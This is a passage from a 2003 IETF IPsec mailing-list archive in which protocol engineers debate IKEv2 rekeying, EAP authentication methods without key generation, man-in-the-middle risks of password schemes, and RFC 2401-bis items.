shortly after new one is up) SHOULD NOT be used, as it will result in unintended SA deletion. This may help avoid some surprises arising from implementation code reuse. Also, [RFC2401bis] needs to be added to the list of normative references. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- > -----Original Message----- > From: Charlie_Kaufman@notesdev.ibm.com > [mailto:Charlie_Kaufman@notesdev.ibm.com] > Sent: Tuesday, August 19, 2003 9:21 PM > To: jpickering@creeksidenet.com > Cc: ipsec@lists.tislabs.com > Subject: Re: The remaining IKEv2 issues - #64 > > > > > > > jpickering@creeksidenet.com wrote: > > I must have missed the resolution on issue 64, can someone > remind me of > > the resolution > > and rationale? > > The issue was that people were concerned about how an > implementation could > know which SA was being rekeyed when a rekey request arrived. > In the past, > I had assumed that they would know because the traffic selectors would > match the traffic selectors on the replaced SA. But recent > discussions have > allowed for the possibility of multiple SAs with the same > traffic selectors > for playing games with QOS and such. > > The proposed solution was to include the SPI of the rekeyed SA in the > request to create a new SA, so there would be no ambiguity. > It might also > help with the race conditions that can produce duplicate SAs and the > "continuity across rekeying" issue raised by Nicolas > Williams. I added an > additional field to the Create_Child_SA exchange to carry the SPI. > > --Charlie > From owner-ipsec@lists.tislabs.com Wed Aug 20 20:02:48 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7L32lqt070951; Wed, 20 Aug 2003 20:02:48 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA29782 Wed, 20 Aug 2003 20:38:53 -0400 (EDT) Date: Wed, 20 Aug 2003 20:35:17 -0400 From: "Theodore Ts'o" To: Tylor Allison Cc: Charlie_Kaufman@notesdev.ibm.com, Michael Richardson , ipsec@lists.tislabs.com, owner-ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues Message-ID: <20030821003517.GD7388@think> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Wed, Aug 20, 2003 at 10:15:06AM -0500, Tylor Allison wrote: > > As defined and used within IKEv2, these methods are secure, though, aren't > they? (OK, not as secure as kg methods...) To mount the MITM attack on > IKEv2, you have to have the Initiator not verify the responder/gateway's > identity... that sounds like a broken client implementation. There's been > quite a bit of discussion about using MITM attacks on the AAA server which > is listening for the EAP-GTC (or otherwise plaintext EAP messages) that > could occur between the IKEv2 server and the AAA server. But this assumes > that EAP is being used to communicate with the AAA server... other > protocols may be used by the IKEv2 gateway instead. They are secure *if* there are no other protocols that might be using EAP in an unprotected fashion. For example, if someone had a set of dialup modems that were connected using the PPP servers using a RS-232 over TCP/IP protocol, and the attacker had access to the LAN segment between the dialup modems and the PPP server, then they could get access to the plaintext EAP message. There seems to be some question how often an attacker in a realistic threat environment would be able to access the unprotected EAP packets. To be fair to the other side however, the danger is that an administrator won't realize that some other application is using EAP in an unprotected fashion, and one gets introduced later on. Of course, if one assumes a MITM attack, one can intercept an unecrypted telnet session where the user logs in using a SecureID card, for example, and they could simply steal the SecureID authentication exchange, and use it either for another telnet session, or insert it into a EAP packet and use it to authenticate an IKE exchange into the firewall. The question is whether or not the existence of such an attack means that we should not allow the use of SecureID card (or any other token authenticators) with IKE, given that they are very often used in unprotected network connections. Obviously the fault is with the use of the token authentication system in unencrypted protocols, but perhaps that means we shouldn't allow them in IKE at all. The flip side of the argument is that we've already tried telling customers that they should use certificates, and this has gone over like a lead balloon. - Ted From owner-ipsec@lists.tislabs.com Thu Aug 21 02:45:06 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7L9j5qt013036; Thu, 21 Aug 2003 02:45:06 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id DAA23146 Thu, 21 Aug 2003 03:20:00 -0400 (EDT) Date: Wed, 20 Aug 2003 23:43:46 -0700 (PDT) From: Bernard Aboba To: ipsec@lists.tislabs.com cc: smb@research.att.com, Charlie_Kaufman@notesdev.ibm.com Subject: Re: EAP-IKEv2 MITM prevention In-Reply-To: <16195.58080.436917.536620@thomasm-u1.cisco.com> Message-ID: References: <3F42A76A.1050800@kolumbus.fi> <3F43B2B8.2010203@lucent.com> <16195.57195.361779.466156@thomasm-u1.cisco.com> <3F43DFF2.8030608@lucent.com> <16195.58080.436917.536620@thomasm-u1.cisco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > Yes, that's it exactly -- reality. Note that I'm > not defending this, just stating my experience in > the matter. My personal observation is that > there seems to be a lot of both use for better > or worse, and reticence to change people's AAA's. There is no need to "change" anyone's AAA server to move away from cleartext passwords, because here are no AAA servers in deployment that support *only* cleartext passwords. Cleartext passwords (PAP) were deprecated in PPP long ago, and RADIUS [RFC2865] servers have supported CHAP for a very, very long time. So IKEv2 should not be assuming or requiring support for cleartext passwords. Cleartext passwords are deprecated in PPP, are not permitted within RFC 2284-defined methods and cannot be supported within RADIUS/EAP without potentially exposing the cleartext password over the Internet. > EAP will fail because it is vulnerable to Man-in-the-Middle attacks The issue is not unique to EAP, and the proposed resolution for all EAP encapsulations (including IKEv2) is described here: http://www.ietf.org/internet-drafts/draft-puthenkulam-eap-binding-03.txt Note that the proposal is to require compliance with the suggested fix in any EAP-encapsulating protocol -- including IKEv2. Please read the draft and send comments to the EAP WG mailing list: eap@frascone.com. > Does anybody -- Jari? -- have any idea how the > SIP saga ended? My understanding is that HTTP digest support was widely adopted, to the point where SIPPING is now looking at standardizing the RADIUS attributes for HTTP Digest. From owner-ipsec@lists.tislabs.com Thu Aug 21 12:06:32 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7LJ6Vqt049473; Thu, 21 Aug 2003 12:06:32 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA00881 Thu, 21 Aug 2003 14:16:38 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: References: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 21 Aug 2003 09:49:01 -0700 To: Black_David@emc.com, Charlie_Kaufman@notesdev.ibm.com From: Paul Hoffman / VPNC Subject: RE: The remaining IKEv2 issues - #64 Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 9:56 AM -0400 8/20/03, Black_David@emc.com wrote: >Charlie, > >As part of this (unless I missed it), please add sentences >to make the following points: > >- IKEv2 deliberately allows parallel SAs with the same traffic > selectors between common endpoints. One of the purposes of > this is to support traffic QoS differences among the SAs; > see Section 4.1 of RFC 2983 (informative reference). >- Hence unlike IKEv1, given two endpoints, traffic selectors need > not uniquely identify an SA between those endpoints. >- Therefore the IKEv1 rekeying heuristic (use of same traffic > selectors as an existing SA indicates rekeying, so existing > SA should be deleted shortly after new one is up) SHOULD NOT > be used, as it will result in unintended SA deletion. > >This may help avoid some surprises arising from implementation code >reuse. I fully agree that these sentences (or something like them) needs to be added to avoid interop problems that will be similar to the "dangling SA" disagreemetns we see in IKEv1. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Thu Aug 21 12:50:00 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7LJnxqt051100; Thu, 21 Aug 2003 12:50:00 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA07171 Thu, 21 Aug 2003 14:55:52 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: References: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 21 Aug 2003 12:04:49 -0700 To: ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Re: The remaining IKEv2 issues Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 10:15 AM -0500 8/20/03, Tylor Allison wrote: >On Tue, 19 Aug 2003 Charlie_Kaufman@notesdev.ibm.com wrote: > > If we want to insert warnings as to the dangers into the IKE >spec, I'd rather >> do it by referencing some other document, but if we could agree on text in >> less than negative 3 months, I'd be happy with that too. > >I think the warning already present is sufficient. Fully agree. When Bernard et. al.'s document comes out later, it will apply to lots of protocols, not just IKEv2. We should not delay IKEv2 waiting for that document. We already explain the problem in the Security Considerations section, which is the proper place to do so. > > Our real choice is whether to say non-kg methods MUST NOT be used >or not. If >> we say they MUST NOT be used, people will implement them anyway >>but they won't >> get the same degree of interoperability testing at the bakeoffs. People want >> to use SecureID cards and challenge response cards and they don't want to >> depend on some future enhancements to those devices in order to make IPsec >> work. There are no kg methods for generic challenge response cards >>(though one >> could invent them for specific challenge response cards). > >If we are expecting that people are going to implement these methods and >customer are going to make use of these methods, I would much rather see a >standards-based way of doing so, and have this method be tested at bakeoffs. Fully agree. One of the main goals of IKEv2 was to avoid re-creating the XAUTH fiasco. Saying "'MUST NOT' or 'SHOULD NOT' do the things that your customers are demanding" is a really good way to cripple IKEv2 deployment. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Thu Aug 21 13:18:01 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7LKI0qt054980; Thu, 21 Aug 2003 13:18:00 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA28932 Thu, 21 Aug 2003 13:17:12 -0400 (EDT) Date: Thu, 21 Aug 2003 13:06:46 -0400 (EDT) From: TIS Majordomo Message-Id: <200308211706.NAA28918@lists.tislabs.com> To: ipsec@lists.tislabs.com Subject: lists.tislabs.com being affected by SoBig Sender: owner-ipsec@lists.tislabs.com Precedence: bulk We are experiencing delays and outages on lists.tislabs.com due to the recent worm on the Internet. -John Kelley (tislabs.com majordomo admin) From owner-ipsec@lists.tislabs.com Thu Aug 21 13:35:29 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7LKZSqt056109; Thu, 21 Aug 2003 13:35:28 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id PAA17535 Thu, 21 Aug 2003 15:49:05 -0400 (EDT) Date: Thu, 21 Aug 2003 15:49:05 -0400 (EDT) From: owner-ipsec@lists.tislabs.com Message-Id: <200308211949.PAA17535@lists.tislabs.com> (1Cust116.tnt1.sedona.az.da.uu.net [68.129.19.116]) by TheWorld.com (8.12.8p1/8.12.8) with ESMTP id h7LGk3HU010376; Thu, 21 Aug 2003 12:46:15 -0400 Message-Id: <5.1.1.6.0.20030821012129.00adc220@pop.theworld.com> X-Sender: dpj@pop.theworld.com X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 Date: Thu, 21 Aug 2003 02:37:08 -0400 To: Jari Arkko From: David Jablon Subject: Re: EAP-IKEv2 MITM prevention (Was: Re: The remaining IKEv2 issues) Cc: ipsec@lists.tislabs.com In-Reply-To: <3F42A76A.1050800@kolumbus.fi> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk It's confusing to discuss patent infringement issues in a statement of what is "cryptographically possible". It introduces the notion of something being "cryptographically possible" in some parts of the world, but not elsewhere. For this and other reasons one should separate statements of technological possibility from statements about IP rights or other deployment issues. At 01:40 AM 8/20/2003 +0300, Jari Arkko wrote: >[...] >USERNAME AND PASSWORD AUTH >=========================== > >Charlie: I am disappointed that >EAP does not include simple user name and password, but am reassured that >people assure me that you can do it by telling EAP it's a one time password. > >I don't believe it's cryptographically possible to do better than EAP in IKEv2 >does if you assume the user has a password and the server holds a non-password >equivalent and doesn't either infringe a patent or require periodic reset >(as with OTP). I believe this case is important. Tell me how I'm wrong. Also, I don't know exactly what is believed to be possible in the above, but there are augmented password-authenticated key agreement methods (see IEEE P1363.2) that are available, under the above assumptions, for use in most of the world. (semi-plug: And, of course, it's possible for any vendor to acquire appropriate license for their customers to use any cryptographically possible method anywhere, should they care to do so.) >[...] >Bernard: It's very hard to argue that support of PAP is a requirement >because RFC 2865 supported CHAP as well as does every RADIUS server I've >ever seen, and MD5-Challenge is mandatory-to-implement in RFC 2284. > >If you buy the idea that all legacy RADIUS servers support CHAP or >MD5-Challenge, then this implies that those same servers have access to >cleartext passwords and could be upgraded to support RADIUS/EAP with a >variety of methods. All the commercial RADIUS servers and several of the >free ones support MS-CHAPv2 in some form, or other password based methods >offering mutual auth and key derivation (Interlink even supports EAP >SKEME). Correction: I think that mutual auth password based method is EAP SPEKE, Simple Password-authenticated blah blah blah, not SKEME. -- David From owner-ipsec@lists.tislabs.com Thu Aug 21 13:56:56 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7LKutqt056714; Thu, 21 Aug 2003 13:56:55 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA20375 Thu, 21 Aug 2003 16:03:43 -0400 (EDT) Cc: ipsec@lists.tislabs.com Message-ID: <3F452753.6020600@lucent.com> Date: Thu, 21 Aug 2003 16:10:59 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Paul Hoffman / VPNC Original-CC: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On 8/21/2003 3:04 PM, Paul Hoffman / VPNC wrote: >>If we are expecting that people are going to implement these methods and >>customer are going to make use of these methods, I would much rather see >>a standards-based way of doing so, and have this method be tested at >>bakeoffs. > > Fully agree......... > Saying "'MUST NOT' or 'SHOULD NOT' do the things > that your customers are demanding" is a really good way to cripple > IKEv2 deployment. Well yes, I agree too. What I don't understand if why we cannot create kg methods using the same credentials? It seems to be the only way to satisfy both the customers who need to use devices like SecureID (hey, I'm one of those), and the security requirements. > One of the main goals of IKEv2 was to avoid re-creating > the XAUTH fiasco. Please educate me - I didn't keep track of XAUTH. Why did it fail? What was wrong with it? Thanks! From owner-ipsec@lists.tislabs.com Thu Aug 21 17:22:39 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7M0Mcqt069116; Thu, 21 Aug 2003 17:22:38 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA20809 Thu, 21 Aug 2003 19:14:04 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffprop@mail.proper.com Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 21 Aug 2003 16:22:52 -0700 To: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ui-suites-04.txt Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Cryptographic Suites for IPsec Author(s) : P. Hoffman Filename : draft-ietf-ipsec-ui-suites-04.txt Pages : 5 Date : 2003-8-20 The IPsec, IKE, and IKEv2 protocols rely on security algorithms to provide privacy and authentication between the initiator and responder. There are many such algorithms available, and two IPsec systems cannot interoperate unless they are using the same algorithms. This document specifies optional suites of algorithms and attributes that can be used to simplify the administration of IPsec when used in manual keying mode, with IKE version 1, or with IKEv2. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ui-suites-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ui-suites-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ui-suites-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. [The following attachment must be fetched by mail. Command-click the URL below and send the resulting message to get the attachment.] [The following attachment must be fetched by ftp. Command-click the URL below to ask your ftp client to fetch it.] From owner-ipsec@lists.tislabs.com Thu Aug 21 17:52:46 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7M0qkqt069872; Thu, 21 Aug 2003 17:52:46 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA28576 Thu, 21 Aug 2003 20:03:01 -0400 (EDT) Date: Tue, 19 Aug 2003 20:42:47 -0700 From: Nicolas Williams To: Charlie_Kaufman@notesdev.ibm.com Cc: ipsec@lists.tislabs.com, Mike Eisler , owner-ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030820034246.GN27057@binky.central.sun.com> References: <20030818182532.GF27057@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 19, 2003 at 09:02:20PM -0400, Charlie_Kaufman@notesdev.ibm.com wrote: > I believe this functionality was added as a side effect of addressing > Issue #64 (though it's a little different and might not address all > imaginable cases). When an SA is rekeyed, the SPI of the old SA is > now specified, so there is no ambiguity. The binding between the old > SA and the new is not cryptographic, but in every case I could think of > the assertion of the SPI by the trusted IKE association defeats the > same attacks. My understanding of the text in -9/-10 is that "rekeys" occur under the protection of the SA being rekeyed. That suffices, from my p.o.v. to bind the new SA to the old SA and all that's missing is a session ID cryptographically bound to the initial IKE_SA KE. It's more than possible that I misunderstood the text on rekeying in draft-ietf-ipsec-ikev2-10 - if so I hope it's not too late to fix the rekeying functionality (and in any case I hope it's not too late to add the session ID I also need). Cheers, Nico -- From owner-ipsec@lists.tislabs.com Thu Aug 21 19:36:05 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7M2a4qt074522; Thu, 21 Aug 2003 19:36:05 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA11966 Thu, 21 Aug 2003 21:37:22 -0400 (EDT) Date: Tue, 19 Aug 2003 22:55:20 -0500 From: Nicolas Williams To: Stephen Kent Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030820035520.GC19235@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030820032523.GK27057@binky.central.sun.com> User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 19, 2003 at 08:25:23PM -0700, Nicolas Williams wrote: > On Tue, Aug 19, 2003 at 04:31:36PM -0400, Stephen Kent wrote: > > IPsec has no anonymous mode, because access control is an essential > > feature of IPsec, unlike SSL. So, no arguments based on the latter > > paragraph of your message are likely to be appropriate in this > > context. > > One would never want to use anonymous IPsec with any application *other* > than applications which bind authentication at higher layers to IPsec > SAs. ... I'd also like to point out that if we allow non-kg EAPs then we might as well allow anonymous IKEv2 :) :) And if we allow IKEv2 w/ non-kg EAPs (with loud warnings) because we think that others will implement the same regardless of whether it is a MUST NOT, then we ought to allow anon IKEv2 for the same reason (and also with loud warnings). And note that anon IPsec with GSS-API CCM channel bindings to the same is quite strong[*], compared to IPsec w/ non-kg EAPs. The former is not subject to MITMs or spoofing, the latter is. [*] As strong as the authentication and integrity protection services of the underlying GSS-API mechanism. Cheers, Nico -- From owner-ipsec@lists.tislabs.com Thu Aug 21 19:36:58 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7M2avqt074579; Thu, 21 Aug 2003 19:36:57 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA11958 Thu, 21 Aug 2003 21:37:21 -0400 (EDT) Date: Tue, 19 Aug 2003 20:25:24 -0700 From: Nicolas Williams To: Stephen Kent Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030820032523.GK27057@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, Aug 19, 2003 at 04:31:36PM -0400, Stephen Kent wrote: > Nico, > > sorry for the confusion on my part. I though you were trying to find > a way to ID SAs for rekeying in IKE. That was the context in which I > made my original suggestion. With the sorts of authentication we have > historically defined for use with IKE, MITM attacks are not an issue, > s > > IPsec has no anonymous mode, because access control is an essential > feature of IPsec, unlike SSL. So, no arguments based on the latter > paragraph of your message are likely to be appropriate in this > context. One would never want to use anonymous IPsec with any application *other* than applications which bind authentication at higher layers to IPsec SAs. But if one can do that, then the authenticated identities at the IPsec layer become irrelevant, particularly if such applications are doing mutual authentication at the application layer. Thus one would want to set policies that allow the use of anon IPsec ONLY for apps such as NFS (w/ RPCSEC_GSS & CCM). Cheers, Nico -- From owner-ipsec@lists.tislabs.com Fri Aug 22 06:03:16 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7MD3Gqt032061; Fri, 22 Aug 2003 06:03:16 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA20472 Fri, 22 Aug 2003 08:05:36 -0400 (EDT) X-Authentication-Warning: amme.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16197.61579.798381.701236@amme.hel.fi.ssh.com> Date: Fri, 22 Aug 2003 13:29:31 +0300 From: Tero Kivinen To: Paul Hoffman / VPNC Cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-Reply-To: References: X-Mailer: VM 7.04 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 4 min X-Total-Time: 4 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Paul Hoffman / VPNC writes: > the XAUTH fiasco. Saying "'MUST NOT' or 'SHOULD NOT' do the things > that your customers are demanding" is a really good way to cripple > IKEv2 deployment. I agree that "MUST NOT" will be crippling the deployment, but "SHOULD NOT" is fine. From the RFC-2119: ---------------------------------------------------------------------- 4. SHOULD NOT This phrase, or the phrase "NOT RECOMMENDED" mean that there may exist valid reasons in particular circumstances when the particular behavior is acceptable or even useful, but the full implications should be understood and the case carefully weighed before implementing any behavior described with this label. ---------------------------------------------------------------------- So I think non-kg EAP methods SHOULD NOT be used. There are cases where they are acceptable, or even useful, but the full implications of using them should be understood... -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ipsec@lists.tislabs.com Fri Aug 22 06:59:28 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7MDxRqt035326; Fri, 22 Aug 2003 06:59:28 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA28795 Fri, 22 Aug 2003 09:04:52 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <20030820035520.GC19235@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> <20030820035520.GC19235@binky.central.sun.com> Date: Fri, 22 Aug 2003 09:12:28 -0400 To: Nicolas Williams From: Stephen Kent Subject: Re: IKEv2 SA rekeying - naming an initial SA Cc: Michael Richardson , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 22:55 -0500 8/19/03, Nicolas Williams wrote: >On Tue, Aug 19, 2003 at 08:25:23PM -0700, Nicolas Williams wrote: >> On Tue, Aug 19, 2003 at 04:31:36PM -0400, Stephen Kent wrote: >> > IPsec has no anonymous mode, because access control is an essential >> > feature of IPsec, unlike SSL. So, no arguments based on the latter >> > paragraph of your message are likely to be appropriate in this >> > context. >> >> One would never want to use anonymous IPsec with any application *other* >> than applications which bind authentication at higher layers to IPsec >> SAs. >... > >I'd also like to point out that if we allow non-kg EAPs then we might as >well allow anonymous IKEv2 :) :) > >And if we allow IKEv2 w/ non-kg EAPs (with loud warnings) because we >think that others will implement the same regardless of whether it is a >MUST NOT, then we ought to allow anon IKEv2 for the same reason (and >also with loud warnings). > >And note that anon IPsec with GSS-API CCM channel bindings to the same >is quite strong[*], compared to IPsec w/ non-kg EAPs. The former is not >subject to MITMs or spoofing, the latter is. > >[*] As strong as the authentication and integrity protection services > of the underlying GSS-API mechanism. > >Cheers, > >Nico >-- what part of "no" do you find puzzling :-) Steve From owner-ipsec@lists.tislabs.com Fri Aug 22 17:27:20 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7N0RJqt063962; Fri, 22 Aug 2003 17:27:19 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA22316 Fri, 22 Aug 2003 19:14:14 -0400 (EDT) Mime-Version: 1.0 X-Sender: kseo@po2.bbn.com Message-Id: In-Reply-To: References: Date: Fri, 22 Aug 2003 18:57:23 -0400 To: Barbara Fraser , "Theodore Ts'o" From: Karen Seo Subject: Re: Moving forward on RFC 2401-bis Cc: ipsec@lists.tislabs.com, angelos@cs.columbia.edu, kivinen@ssh.fi, byfraser@cisco.com, tytso@mit.edu, Russ Housley Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Folks, Just an update... We've reviewed the 9 items on the IPsec tracking list for 2401: 1. We believe the following 5 items have been resolved. At the beginning of next week, we will send out individual writeups for the following items: 47 All selectors can be a list of ranges, per IKEv2 spec 48 Add ToS traffic selector option 49 Red-side fragmentation option 50 Tunnel vs transport mode 57 ECN support 2. Four of the items are inter-related and 